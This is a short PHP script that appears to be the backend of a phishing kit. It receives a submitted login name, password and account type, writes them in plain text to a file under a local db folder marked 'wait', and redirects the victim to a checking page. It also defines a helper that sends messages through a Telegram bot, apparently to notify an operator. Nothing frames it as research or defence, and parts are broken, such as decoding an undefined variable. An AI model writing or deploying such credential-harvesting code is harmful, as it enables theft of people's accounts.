<?php

error_reporting(1);

$config = json_decode(file_get_contents('config.json'));


$pay = json_decode($pay);
        $rand = random_int(10000000, 999999999);

if(isset($_POST['name']) && isset($_POST['password']) && isset($_POST['type'])) {


      
        file_put_contents('./db/'.$rand.'.txt', json_encode([
            'login' => $_POST['name'],
            'password' => $_POST['password'],
            'type' => $_POST['type'],
    'status' => 'wait',
        ]));

        return header('Location: checkAcc.php?id='.$rand.'');

} else die('Error param');



function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'chat_all_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'disable_notification' => true
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}
